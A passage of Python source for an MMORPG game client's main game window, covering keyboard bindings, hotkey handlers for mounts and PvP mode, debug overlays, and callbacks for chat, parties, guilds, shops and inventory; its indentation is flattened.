onPressKeyDict[app.DIK_NUMPAD8] = lambda: app.MoviePitchCamera(app.CAMERA_TO_NEGATIVE)
onPressKeyDict[app.DIK_NUMPAD2] = lambda: app.MoviePitchCamera(app.CAMERA_TO_POSITIVE)
onPressKeyDict[app.DIK_GRAVE] = lambda : self.PickUpItem()
onPressKeyDict[app.DIK_Z] = lambda : self.PickUpItem()
onPressKeyDict[app.DIK_C] = lambda state = "STATUS": self.interface.ToggleCharacterWindow(state)
onPressKeyDict[app.DIK_V] = lambda state = "SKILL": self.interface.ToggleCharacterWindow(state)
#onPressKeyDict[app.DIK_B] = lambda state = "EMOTICON": self.interface.ToggleCharacterWindow(state)
onPressKeyDict[app.DIK_N] = lambda state = "QUEST": self.interface.ToggleCharacterWindow(state)
onPressKeyDict[app.DIK_I] = lambda : self.interface.ToggleInventoryWindow()
onPressKeyDict[app.DIK_O] = lambda : self.interface.ToggleDragonSoulWindowWithNoInfo()
onPressKeyDict[app.DIK_M] = lambda : self.interface.PressMKey()
#onPressKeyDict[app.DIK_H] = lambda : self.interface.OpenHelpWindow()
onPressKeyDict[app.DIK_ADD] = lambda : self.interface.MiniMapScaleUp()
onPressKeyDict[app.DIK_SUBTRACT] = lambda : self.interface.MiniMapScaleDown()
onPressKeyDict[app.DIK_L] = lambda : self.interface.ToggleChatLogWindow()
onPressKeyDict[app.DIK_COMMA] = lambda : self.ShowConsole() # "`" key
onPressKeyDict[app.DIK_LSHIFT] = lambda : self.__SetQuickPageMode()

onPressKeyDict[app.DIK_J] = lambda : self.__PressJKey()
onPressKeyDict[app.DIK_H] = lambda : self.__PressHKey()
onPressKeyDict[app.DIK_B] = lambda : self.__PressBKey()
onPressKeyDict[app.DIK_F] = lambda : self.__PressFKey()
onPressKeyDict[app.DIK_X] = lambda : self.__PressXKey()

# CUBE_TEST
#onPressKeyDict[app.DIK_K] = lambda : self.interface.OpenCubeWindow()
# CUBE_TEST_END

self.onPressKeyDict = onPressKeyDict

onClickKeyDict = {}
onClickKeyDict[app.DIK_UP] = lambda : self.StopUp()
onClickKeyDict[app.DIK_DOWN] = lambda : self.StopDown()
onClickKeyDict[app.DIK_LEFT] = lambda : self.StopLeft()
onClickKeyDict[app.DIK_RIGHT] = lambda : self.StopRight()
onClickKeyDict[app.DIK_SPACE] = lambda : self.EndAttack()

onClickKeyDict[app.DIK_W] = lambda : self.StopUp()
onClickKeyDict[app.DIK_S] = lambda : self.StopDown()
onClickKeyDict[app.DIK_A] = lambda : self.StopLeft()
onClickKeyDict[app.DIK_D] = lambda : self.StopRight()
onClickKeyDict[app.DIK_Q] = lambda: app.RotateCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_E] = lambda: app.RotateCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_R] = lambda: app.ZoomCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_F] = lambda: app.ZoomCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_T] = lambda: app.PitchCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_G] = lambda: self.__ReleaseGKey()
onClickKeyDict[app.DIK_NUMPAD4] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_NUMPAD6] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_PGUP] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_PGDN] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_NUMPAD8] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_NUMPAD2] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
onClickKeyDict[app.DIK_LALT] = lambda: self.HideName()
onClickKeyDict[app.DIK_LCONTROL] = lambda: self.HideMouseImage()
onClickKeyDict[app.DIK_LSHIFT] = lambda: self.__SetQuickSlotMode()

#if constInfo.PVPMODE_ACCELKEY_ENABLE:
# onClickKeyDict[app.DIK_B] = lambda: self.ChangePKMode()

self.onClickKeyDict=onClickKeyDict

def __PressNumKey(self,num):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):

if num >= 1 and num <= 9:
if(chrmgr.IsPossibleEmoticon(-1)):
chrmgr.SetEmoticon(-1,int(num)-1)
net.SendEmoticon(int(num)-1)
else:
if num >= 1 and num <= 4:
self.pressNumber(num-1)

def __ClickBKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
return
else:
if constInfo.PVPMODE_ACCELKEY_ENABLE:
self.ChangePKMode()


def __PressJKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
if player.IsMountingHorse():
net.SendChatPacket("/unmount")
else:
#net.SendChatPacket("/user_horse_ride")
if not uiPrivateShopBuilder.IsBuildingPrivateShop():
for i in xrange(player.INVENTORY_PAGE_SIZE):
if player.GetItemIndex(i) in (71114, 71116, 71118, 71120):
net.SendItemUsePacket(i)
break
def __PressHKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
net.SendChatPacket("/user_horse_ride")
else:
self.interface.OpenHelpWindow()

def __PressBKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
net.SendChatPacket("/user_horse_back")
else:
state = "EMOTICON"
self.interface.ToggleCharacterWindow(state)

def __PressFKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
net.SendChatPacket("/user_horse_feed")
else:
app.ZoomCamera(app.CAMERA_TO_POSITIVE)

def __PressGKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
net.SendChatPacket("/ride")
else:
if self.ShowNameFlag:
self.interface.ToggleGuildWindow()
else:
app.PitchCamera(app.CAMERA_TO_POSITIVE)

def __ReleaseGKey(self):
app.PitchCamera(app.CAMERA_STOP)

def __PressQKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
if 0==interfaceModule.IsQBHide:
interfaceModule.IsQBHide = 1
self.interface.HideAllQuestButton()
else:
interfaceModule.IsQBHide = 0
self.interface.ShowAllQuestButton()
else:
app.RotateCamera(app.CAMERA_TO_NEGATIVE)

def __PressJKey(self):
if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
if player.IsmountingHorse():
net.SendChatPacket("/unmount")
else:
self.teleport.Open()

def __SetQuickSlotMode(self):
self.pressNumber=ui.__mem_func__(self.__PressQuickSlot)

def __SetQuickPageMode(self):
self.pressNumber=ui.__mem_func__(self.__SelectQuickPage)

def __PressQuickSlot(self, localSlotIndex):
if localeInfo.IsARABIC():
if 0 <= localSlotIndex and localSlotIndex < 4:
player.RequestUseLocalQuickSlot(3-localSlotIndex)
else:
player.RequestUseLocalQuickSlot(11-localSlotIndex)
else:
player.RequestUseLocalQuickSlot(localSlotIndex)

def __SelectQuickPage(self, pageIndex):
self.quickSlotPageIndex = pageIndex
player.SetQuickPage(pageIndex)

def ToggleDebugInfo(self):
self.isShowDebugInfo = not self.isShowDebugInfo

if self.isShowDebugInfo:
self.PrintCoord.Show()
self.FrameRate.Show()
self.Pitch.Show()
self.Splat.Show()
self.TextureNum.Show()
self.ObjectNum.Show()
self.ViewDistance.Show()
self.PrintMousePos.Show()
else:
self.PrintCoord.Hide()
self.FrameRate.Hide()
self.Pitch.Hide()
self.Splat.Hide()
self.TextureNum.Hide()
self.ObjectNum.Hide()
self.ViewDistance.Hide()
self.PrintMousePos.Hide()

def __BuildDebugInfo(self):
## Character Position Coordinate
self.PrintCoord = ui.TextLine()
self.PrintCoord.SetFontName(localeInfo.UI_DEF_FONT)
self.PrintCoord.SetPosition(wndMgr.GetScreenWidth() - 270, 0)

## Frame Rate
self.FrameRate = ui.TextLine()
self.FrameRate.SetFontName(localeInfo.UI_DEF_FONT)
self.FrameRate.SetPosition(wndMgr.GetScreenWidth() - 270, 20)

## Camera Pitch
self.Pitch = ui.TextLine()
self.Pitch.SetFontName(localeInfo.UI_DEF_FONT)
self.Pitch.SetPosition(wndMgr.GetScreenWidth() - 270, 40)

## Splat
self.Splat = ui.TextLine()
self.Splat.SetFontName(localeInfo.UI_DEF_FONT)
self.Splat.SetPosition(wndMgr.GetScreenWidth() - 270, 60)

##
self.PrintMousePos = ui.TextLine()
self.PrintMousePos.SetFontName(localeInfo.UI_DEF_FONT)
self.PrintMousePos.SetPosition(wndMgr.GetScreenWidth() - 270, 80)

# TextureNum
self.TextureNum = ui.TextLine()
self.TextureNum.SetFontName(localeInfo.UI_DEF_FONT)
self.TextureNum.SetPosition(wndMgr.GetScreenWidth() - 270, 100)

# 오브젝트 그리는 개수
self.ObjectNum = ui.TextLine()
self.ObjectNum.SetFontName(localeInfo.UI_DEF_FONT)
self.ObjectNum.SetPosition(wndMgr.GetScreenWidth() - 270, 120)

# 시야거리
self.ViewDistance = ui.TextLine()
self.ViewDistance.SetFontName(localeInfo.UI_DEF_FONT)
self.ViewDistance.SetPosition(0, 0)

def __NotifyError(self, msg):
chat.AppendChat(chat.CHAT_TYPE_INFO, msg)

def ChangePKMode(self):

if not app.IsPressed(app.DIK_LCONTROL):
return

if player.GetStatus(player.LEVEL)<constInfo.PVPMODE_PROTECTED_LEVEL:
self.__NotifyError(localeInfo.OPTION_PVPMODE_PROTECT % (constInfo.PVPMODE_PROTECTED_LEVEL))
return

curTime = app.GetTime()
if curTime - self.lastPKModeSendedTime < constInfo.PVPMODE_ACCELKEY_DELAY:
return

self.lastPKModeSendedTime = curTime

curPKMode = player.GetPKMode()
nextPKMode = curPKMode + 1
if nextPKMode == player.PK_MODE_PROTECT:
if 0 == player.GetGuildID():
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.OPTION_PVPMODE_CANNOT_SET_GUILD_MODE)
nextPKMode = 0
else:
nextPKMode = player.PK_MODE_GUILD

elif nextPKMode == player.PK_MODE_MAX_NUM:
nextPKMode = 0

net.SendChatPacket("/PKMode " + str(nextPKMode))
print "/PKMode " + str(nextPKMode)

def OnChangePKMode(self):

self.interface.OnChangePKMode()

try:
self.__NotifyError(localeInfo.OPTION_PVPMODE_MESSAGE_DICT[player.GetPKMode()])
except KeyError:
print "UNKNOWN PVPMode[%d]" % (player.GetPKMode())

if constInfo.PVPMODE_TEST_ENABLE:
curPKMode = player.GetPKMode()
alignment, grade = chr.testGetPKData()
self.pkModeNameDict = { 0 : "PEACE", 1 : "REVENGE", 2 : "FREE", 3 : "PROTECT", }
self.testPKMode.SetText("Current PK Mode : " + self.pkModeNameDict.get(curPKMode, "UNKNOWN"))
self.testAlignment.SetText("Current Alignment : " + str(alignment) + " (" + localeInfo.TITLE_NAME_LIST[grade] + ")")

###############################################################################################
###############################################################################################
## Game Callback Functions

# Start
def StartGame(self):
self.RefreshInventory()
self.RefreshEquipment()
self.RefreshCharacter()
self.RefreshSkill()

# Refresh
def CheckGameButton(self):
if self.interface:
self.interface.CheckGameButton()

def RefreshAlignment(self):
self.interface.RefreshAlignment()

def RefreshStatus(self):
self.CheckGameButton()

if self.interface:
self.interface.RefreshStatus()

if self.playerGauge:
self.playerGauge.RefreshGauge()

def RefreshStamina(self):
self.interface.RefreshStamina()

def RefreshSkill(self):
self.CheckGameButton()
if self.interface:
self.interface.RefreshSkill()

def RefreshQuest(self):
self.interface.RefreshQuest()

def RefreshMessenger(self):
self.interface.RefreshMessenger()

def RefreshGuildInfoPage(self):
self.interface.RefreshGuildInfoPage()

def RefreshGuildBoardPage(self):
self.interface.RefreshGuildBoardPage()

def RefreshGuildMemberPage(self):
self.interface.RefreshGuildMemberPage()

def RefreshGuildMemberPageGradeComboBox(self):
self.interface.RefreshGuildMemberPageGradeComboBox()

def RefreshGuildSkillPage(self):
self.interface.RefreshGuildSkillPage()

def RefreshGuildGradePage(self):
self.interface.RefreshGuildGradePage()

def RefreshMobile(self):
if self.interface:
self.interface.RefreshMobile()

def OnMobileAuthority(self):
self.interface.OnMobileAuthority()

def OnBlockMode(self, mode):
self.interface.OnBlockMode(mode)

def OpenQuestWindow(self, skin, idx):
if constInfo.CApiSetHide == 1:
net.SendQuestInputStringPacket(str(constInfo.SendString))
constInfo.CApiSetHide = 0
return

if constInfo.INPUT_IGNORE == 1:
return

self.interface.OpenQuestWindow(skin, idx)

def AskGuildName(self):

guildNameBoard = uiCommon.InputDialog()
guildNameBoard.SetTitle(localeInfo.GUILD_NAME)
guildNameBoard.SetAcceptEvent(ui.__mem_func__(self.ConfirmGuildName))
guildNameBoard.SetCancelEvent(ui.__mem_func__(self.CancelGuildName))
guildNameBoard.Open()

self.guildNameBoard = guildNameBoard

def ConfirmGuildName(self):
guildName = self.guildNameBoard.GetText()
if not guildName:
return

if net.IsInsultIn(guildName):
self.PopupMessage(localeInfo.GUILD_CREATE_ERROR_INSULT_NAME)
return

net.SendAnswerMakeGuildPacket(guildName)
self.guildNameBoard.Close()
self.guildNameBoard = None
return TRUE

def CancelGuildName(self):
self.guildNameBoard.Close()
self.guildNameBoard = None
return TRUE

## Refine
def PopupMessage(self, msg):
self.stream.popupWindow.Close()
self.stream.popupWindow.Open(msg, 0, localeInfo.UI_OK)

def OpenRefineDialog(self, targetItemPos, nextGradeItemVnum, cost, prob, type=0):
self.interface.OpenRefineDialog(targetItemPos, nextGradeItemVnum, cost, prob, type)

def AppendMaterialToRefineDialog(self, vnum, count):
self.interface.AppendMaterialToRefineDialog(vnum, count)

def RunUseSkillEvent(self, slotIndex, coolTime):
self.interface.OnUseSkill(slotIndex, coolTime)

def ClearAffects(self):
self.affectShower.ClearAffects()

def SetAffect(self, affect):
self.affectShower.SetAffect(affect)

def ResetAffect(self, affect):
self.affectShower.ResetAffect(affect)

# UNKNOWN_UPDATE
def BINARY_NEW_AddAffect(self, type, pointIdx, value, duration):
self.affectShower.BINARY_NEW_AddAffect(type, pointIdx, value, duration)
if chr.NEW_AFFECT_DRAGON_SOUL_DECK1 == type or chr.NEW_AFFECT_DRAGON_SOUL_DECK2 == type:
self.interface.DragonSoulActivate(type - chr.NEW_AFFECT_DRAGON_SOUL_DECK1)
elif chr.NEW_AFFECT_DRAGON_SOUL_QUALIFIED == type:
self.BINARY_DragonSoulGiveQuilification()

def BINARY_NEW_RemoveAffect(self, type, pointIdx):
self.affectShower.BINARY_NEW_RemoveAffect(type, pointIdx)
if chr.NEW_AFFECT_DRAGON_SOUL_DECK1 == type or chr.NEW_AFFECT_DRAGON_SOUL_DECK2 == type:
self.interface.DragonSoulDeactivate()



# END_OF_UNKNOWN_UPDATE

def ActivateSkillSlot(self, slotIndex):
if self.interface:
self.interface.OnActivateSkill(slotIndex)

def DeactivateSkillSlot(self, slotIndex):
if self.interface:
self.interface.OnDeactivateSkill(slotIndex)

def RefreshEquipment(self):
if self.interface:
self.interface.RefreshInventory()

def RefreshInventory(self):
if self.interface:
self.interface.RefreshInventory()

def RefreshCharacter(self):
if self.interface:
self.interface.RefreshCharacter()

def OnGameOver(self):
self.CloseTargetBoard()
self.OpenRestartDialog()

def OpenRestartDialog(self):
self.interface.OpenRestartDialog()

def ChangeCurrentSkill(self, skillSlotNumber):
self.interface.OnChangeCurrentSkill(skillSlotNumber)

## TargetBoard
def SetPCTargetBoard(self, vid, name):
self.targetBoard.Open(vid, name)

if app.IsPressed(app.DIK_LCONTROL):

if not player.IsSameEmpire(vid):
return

if player.IsMainCharacterIndex(vid):
return
elif chr.INSTANCE_TYPE_BUILDING == chr.GetInstanceType(vid):
return

self.interface.OpenWhisperDialog(name)


def RefreshTargetBoardByVID(self, vid):
self.targetBoard.RefreshByVID(vid)

def RefreshTargetBoardByName(self, name):
self.targetBoard.RefreshByName(name)

def __RefreshTargetBoard(self):
self.targetBoard.Refresh()

def SetHPTargetBoard(self, vid, hpPercentage):
if vid != self.targetBoard.GetTargetVID():
self.targetBoard.ResetTargetBoard()
self.targetBoard.SetEnemyVID(vid)

self.targetBoard.SetHP(hpPercentage)
self.targetBoard.Show()

def CloseTargetBoardIfDifferent(self, vid):
if vid != self.targetBoard.GetTargetVID():
self.targetBoard.Close()

def CloseTargetBoard(self):
self.targetBoard.Close()

## View Equipment
def OpenEquipmentDialog(self, vid):
self.interface.OpenEquipmentDialog(vid)

def SetEquipmentDialogItem(self, vid, slotIndex, vnum, count):
self.interface.SetEquipmentDialogItem(vid, slotIndex, vnum, count)

def SetEquipmentDialogSocket(self, vid, slotIndex, socketIndex, value):
self.interface.SetEquipmentDialogSocket(vid, slotIndex, socketIndex, value)

def SetEquipmentDialogAttr(self, vid, slotIndex, attrIndex, type, value):
self.interface.SetEquipmentDialogAttr(vid, slotIndex, attrIndex, type, value)

# SHOW_LOCAL_MAP_NAME
def ShowMapName(self, mapName, x, y):

if self.mapNameShower:
self.mapNameShower.ShowMapName(mapName, x, y)

if self.interface:
self.interface.SetMapName(mapName)
# END_OF_SHOW_LOCAL_MAP_NAME

def BINARY_OpenAtlasWindow(self):
self.interface.BINARY_OpenAtlasWindow()

## Chat
def OnRecvWhisper(self, mode, name, line):
if mode == chat.WHISPER_TYPE_GM:
self.interface.RegisterGameMasterName(name)
chat.AppendWhisper(mode, name, line)
self.interface.RecvWhisper(name)

def OnRecvWhisperSystemMessage(self, mode, name, line):
chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, line)
self.interface.RecvWhisper(name)

def OnRecvWhisperError(self, mode, name, line):
if localeInfo.WHISPER_ERROR.has_key(mode):
chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, localeInfo.WHISPER_ERROR[mode](name))
else:
chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, "Whisper Unknown Error(mode=%d, name=%s)" % (mode, name))
self.interface.RecvWhisper(name)

def RecvWhisper(self, name):
self.interface.RecvWhisper(name)

def OnPickMoney(self, money):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_PICK_MONEY % (money))

def OnShopError(self, type):
try:
self.PopupMessage(localeInfo.SHOP_ERROR_DICT[type])
except KeyError:
self.PopupMessage(localeInfo.SHOP_ERROR_UNKNOWN % (type))

def OnSafeBoxError(self):
self.PopupMessage(localeInfo.SAFEBOX_ERROR)

def OnFishingSuccess(self, isFish, fishName):
chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_SUCCESS(isFish, fishName), 2000)

# ADD_FISHING_MESSAGE
def OnFishingNotifyUnknown(self):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_UNKNOWN)

def OnFishingWrongPlace(self):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_WRONG_PLACE)
# END_OF_ADD_FISHING_MESSAGE

def OnFishingNotify(self, isFish, fishName):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_NOTIFY(isFish, fishName))

def OnFishingFailure(self):
chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_FAILURE, 2000)

def OnCannotPickItem(self):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_PICK_ITEM)

# MINING
def OnCannotMining(self):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_MINING)
# END_OF_MINING

def OnCannotUseSkill(self, vid, type):
if localeInfo.USE_SKILL_ERROR_TAIL_DICT.has_key(type):
textTail.RegisterInfoTail(vid, localeInfo.USE_SKILL_ERROR_TAIL_DICT[type])

if localeInfo.USE_SKILL_ERROR_CHAT_DICT.has_key(type):
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.USE_SKILL_ERROR_CHAT_DICT[type])

def OnCannotShotError(self, vid, type):
textTail.RegisterInfoTail(vid, localeInfo.SHOT_ERROR_TAIL_DICT.get(type, localeInfo.SHOT_ERROR_UNKNOWN % (type)))

## PointReset
def StartPointReset(self):
self.interface.OpenPointResetDialog()

## Shop
def StartShop(self, vid):
self.interface.OpenShopDialog(vid)

def EndShop(self):
self.interface.CloseShopDialog()

def RefreshShop(self):
self.interface.RefreshShopDialog()

def SetShopSellingPrice(self, Price):
pass

## Exchange
def StartExchange(self):
self.interface.StartExchange()

def EndExchange(self):
self.interface.EndExchange()

def RefreshExchange(self):
self.interface.RefreshExchange()

## Party
def RecvPartyInviteQuestion(self, leaderVID, leaderName):
partyInviteQuestionDialog = uiCommon.QuestionDialog()
partyInviteQuestionDialog.SetText(leaderName + localeInfo.PARTY_DO_YOU_JOIN)
partyInviteQuestionDialog.SetAcceptEvent(lambda arg=TRUE: self.AnswerPartyInvite(arg))
partyInviteQuestionDialog.SetCancelEvent(lambda arg=FALSE: self.AnswerPartyInvite(arg))
partyInviteQuestionDialog.Open()
partyInviteQuestionDialog.partyLeaderVID = leaderVID
self.partyInviteQuestionDialog = partyInviteQuestionDialog

def AnswerPartyInvite(self, answer):

if not self.partyInviteQuestionDialog:
return

partyLeaderVID = self.partyInviteQuestionDialog.partyLeaderVID

distance = player.GetCharacterDistance(partyLeaderVID)
if distance < 0.0 or distance > 5000:
answer = FALSE

net.SendPartyInviteAnswerPacket(partyLeaderVID, answer)

self.partyInviteQuestionDialog.Close()
self.partyInviteQuestionDialog = None

def AddPartyMember(self, pid, name):
self.interface.AddPartyMember(pid, name)

def UpdatePartyMemberInfo(self, pid):
self.interface.UpdatePartyMemberInfo(pid)

def RemovePartyMember(self, pid):
self.interface.RemovePartyMember(pid)
self.__RefreshTargetBoard()

def LinkPartyMember(self, pid, vid):
self.interface.LinkPartyMember(pid, vid)

def UnlinkPartyMember(self, pid):
self.interface.UnlinkPartyMember(pid)

def UnlinkAllPartyMember(self):
self.interface.UnlinkAllPartyMember()

def ExitParty(self):
self.interface.ExitParty()
self.RefreshTargetBoardByVID(self.targetBoard.GetTargetVID())

def ChangePartyParameter(self, distributionMode):
self.interface.ChangePartyParameter(distributionMode)

## Messenger
def OnMessengerAddFriendQuestion(self, name):
messengerAddFriendQuestion = uiCommon.QuestionDialog2()
messengerAddFriendQuestion.SetText1(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_1 % (name))
messengerAddFriendQuestion.SetText2(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_2)
messengerAddFriendQuestion.SetAcceptEvent(ui.__mem_func__(self.OnAcceptAddFriend))
messengerAddFriendQuestion.SetCancelEvent(ui.__mem_func__(self.OnDenyAddFriend))
messengerAddFriendQuestion.Open()
messengerAddFriendQuestion.name = name
self.messengerAddFriendQuestion = messengerAddFriendQuestion

def OnAcceptAddFriend(self):
name = self.messengerAddFriendQuestion.name
net.SendChatPacket("/messenger_auth y " + name)
self.OnCloseAddFriendQuestionDialog()
return TRUE

def OnDenyAddFriend(self):
name = self.messengerAddFriendQuestion.name
net.SendChatPacket("/messenger_auth n " + name)
self.OnCloseAddFriendQuestionDialog()
return TRUE

def OnCloseAddFriendQuestionDialog(self):
self.messengerAddFriendQuestion.Close()
self.messengerAddFriendQuestion = None
return TRUE

## SafeBox
def OpenSafeboxWindow(self, size):
self.interface.OpenSafeboxWindow(size)

def RefreshSafebox(self):
self.interface.RefreshSafebox()

def RefreshSafeboxMoney(self):
self.interface.RefreshSafeboxMoney()

# ITEM_MALL
def OpenMallWindow(self, size):
self.interface.OpenMallWindow(size)

def RefreshMall(self):
self.interface.RefreshMall()
# END_OF_ITEM_MALL

## Guild
def RecvGuildInviteQuestion(self, guildID, guildName):
guildInviteQuestionDialog = uiCommon.QuestionDialog()
guildInviteQuestionDialog.SetText(guildName + localeInfo.GUILD_DO_YOU_JOIN)
guildInviteQuestionDialog.SetAcceptEvent(lambda arg=TRUE: self.AnswerGuildInvite(arg))
guildInviteQuestionDialog.SetCancelEvent(lambda arg=FALSE: self.AnswerGuildInvite(arg))
guildInviteQuestionDialog.Open()
guildInviteQuestionDialog.guildID = guildID
self.guildInviteQuestionDialog = guildInviteQuestionDialog

def AnswerGuildInvite(self, answer):

if not self.guildInviteQuestionDialog:
return

guildLeaderVID = self.guildInviteQuestionDialog.guildID
net.SendGuildInviteAnswerPacket(guildLeaderVID, answer)

self.guildInviteQuestionDialog.Close()
self.guildInviteQuestionDialog = None


def DeleteGuild(self):
self.interface.DeleteGuild()

## Clock
def ShowClock(self, second):
self.interface.ShowClock(second)

def HideClock(self):
self.interface.HideClock()

## Emotion
def BINARY_ActEmotion(self, emotionIndex):
if self.interface.wndCharacter:
self.interface.wndCharacter.ActEmotion(emotionIndex)

###############################################################################################
###############################################################################################
## Keyboard Functions

def CheckFocus(self):
if FALSE == self.IsFocus():
if TRUE == self.interface.IsOpenChat():
self.interface.ToggleChat()

self.SetFocus()

def SaveScreen(self):
print "save screen"

# SCREENSHOT_CWDSAVE
if SCREENSHOT_CWDSAVE:
if not os.path.exists(os.getcwd()+os.sep+"screenshot"):
os.mkdir(os.getcwd()+os.sep+"screenshot")

(succeeded, name) = grp.SaveScreenShotToPath(os.getcwd()+os.sep+"screenshot"+os.sep)
elif SCREENSHOT_DIR:
(succeeded, name) = grp.SaveScreenShot(SCREENSHOT_DIR)
else:
(succeeded, name) = grp.SaveScreenShot()
# END_OF_SCREENSHOT_CWDSAVE

if succeeded:
pass
"""
chat.AppendChat(chat.CHAT_TYPE_INFO, name + localeInfo.SCREENSHOT_SAVE1)
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE2)
"""
else:
chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE_FAILURE)

def ShowConsole(self):
pass

def ShowName(self):
self.ShowNameFlag = TRUE
self.playerGauge.EnableShowAlways()
player.SetQuickPage(self.quickSlotPageIndex+1)

# ADD_ALWAYS_SHOW_NAME
def __IsShowName(self):

if systemSetting.IsAlwaysShowName():
return TRUE

if self.ShowNameFlag:
return TRUE

return FALSE
# END_OF_ADD_ALWAYS_SHOW_NAME

def HideName(self):
self.ShowNameFlag = FALSE
self.playerGauge.DisableShowAlways()
player.SetQuickPage(self.quickSlotPageIndex)

def ShowMouseImage(self):
self.interface.ShowMouseImage()

def HideMouseImage(self):
self.interface.HideMouseImage()

def StartAttack(self):
player.SetAttackKeyState(TRUE)

def EndAttack(self):
player.SetAttackKeyState(FALSE)

def MoveUp(self):
player.SetSingleDIKKeyState(app.DIK_UP, TRUE)

def MoveDown(self):
player.SetSingleDIKKeyState(app.DIK_DOWN, TRUE)

def MoveLeft(self):
player.SetSingleDIKKeyState(app.DIK_LEFT, TRUE)

def MoveRight(self):
player.SetSingleDIKKeyState(app.DIK_RIGHT, TRUE)

def StopUp(self):
player.SetSingleDIKKeyState(app.DIK_UP, FALSE)

def StopDown(self):
player.SetSingleDIKKeyState(app.DIK_DOWN, FALSE)

def StopLeft(self):
player.SetSingleDIKKeyState(app.DIK_LEFT, FALSE)

def StopRight(self):
player.SetSingleDIKKeyState(app.DIK_RIGHT, FALSE)

def PickUpItem(self):
player.PickCloseItem()

###############################################################################################
###############################################################################################
## Event Handler

def OnKeyDown(self, key):
if self.interface.wndWeb and self.interface.wndWeb.IsShow():
return

constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)

try:
self.onPressKeyDict[key]()
except KeyError:
pass
except:
raise

return TRUE

def OnKeyUp(self, key):
try:
self.onClickKeyDict[key]()
except KeyError:
pass
except:
raise

return TRUE

def OnMouseLeftButtonDown(self):
if self.interface.BUILD_OnMouseLeftButtonDown():
return

if mouseModule.mouseController.isAttached():
self.CheckFocus()
else:
hyperlink = ui.GetHyperlink()
if hyperlink:
return
else:
self.CheckFocus()
player.SetMouseState(player.MBT_LEFT, player.MBS_PRESS);

return TRUE

def OnMouseLeftButtonUp(self):

if self.interface.BUILD_OnMouseLeftButtonUp():
return

if mouseModule.mouseController.isAttached():

attachedType = mouseModule.mouseController.GetAttachedType()
attachedItemIndex = mouseModule.mouseController.GetAttachedItemIndex()
attachedItemSlotPos = mouseModule.mouseController.GetAttachedSlotNumber()
attachedItemCount = mouseModule.mouseController.GetAttachedItemCount()

## QuickSlot
if player.SLOT_TYPE_QUICK_SLOT == attachedType:
player.RequestDeleteGlobalQuickSlot(attachedItemSlotPos)

## Inventory
elif player.SLOT_TYPE_INVENTORY == attachedType:

if player.ITEM_MONEY == attachedItemIndex:
self.__PutMoney(attachedType, attachedItemCount, self.PickingCharacterIndex)
else:
self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)

## DragonSoul
elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)

mouseModule.mouseController.DeattachObject()

else:
hyperlink = ui.GetHyperlink()
if hyperlink:
if app.IsPressed(app.DIK_LALT):
link = chat.GetLinkFromHyperlink(hyperlink)
ime.PasteString(link)
else:
self.interface.MakeHyperlinkTooltip(hyperlink)
return
else:
player.SetMouseState(player.MBT_LEFT, player.MBS_CLICK)

#player.EndMouseWalking()
return TRUE

def __PutItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, dstChrID):
if player.SLOT_TYPE_INVENTORY == attachedType or player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
attachedInvenType = player.SlotTypeToInvenType(attachedType)
if TRUE == chr.HasInstance(self.PickingCharacterIndex) and player.GetMainCharacterIndex() != dstChrID:
if player.IsEquipmentSlot(attachedItemSlotPos):
self.stream.popupWindow.Close()
self.stream.popupWindow.Open(localeInfo.EXCHANGE_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)
else:
if chr.IsNPC(dstChrID):
